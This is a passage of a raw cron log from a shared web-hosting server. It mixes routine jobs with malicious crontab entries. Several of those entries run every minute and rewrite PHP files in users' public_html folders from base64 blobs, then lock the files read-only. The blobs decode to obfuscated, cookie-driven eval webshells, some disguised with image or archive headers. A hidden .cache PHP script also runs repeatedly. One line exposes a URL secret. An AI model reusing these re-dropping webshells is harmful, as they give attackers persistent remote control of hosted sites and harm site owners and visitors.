C4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:15:02 medusa CROND[8272]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:15:02 medusa CROND[8273]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:15:02 medusa CROND[8274]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:15:02 medusa CROND[8275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:15:02 medusa CROND[8281]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:15:02 medusa CROND[8287]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8294]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:15:02 medusa CROND[8300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:16:01 medusa CROND[14262]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:16:01 medusa CROND[14263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:16:01 medusa CROND[14264]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:16:01 medusa CROND[14265]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:16:01 medusa CROND[14266]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:16:01 medusa CROND[14267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:16:01 medusa CROND[14270]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:16:01 medusa CROND[14272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:16:01 medusa CROND[14276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:16:01 medusa CROND[14277]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:16:01 medusa CROND[14282]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:16:01 medusa CROND[14286]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:16:01 medusa CROND[14288]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:16:01 medusa CROND[14293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:17:01 medusa CROND[21827]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:17:01 medusa CROND[21828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:17:01 medusa CROND[21829]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:17:01 medusa CROND[21831]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:17:01 medusa CROND[21832]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:17:01 medusa CROND[21830]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:17:01 medusa CROND[21835]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:17:01 medusa CROND[21836]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:17:01 medusa CROND[21837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:17:01 medusa CROND[21840]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:17:01 medusa CROND[21834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
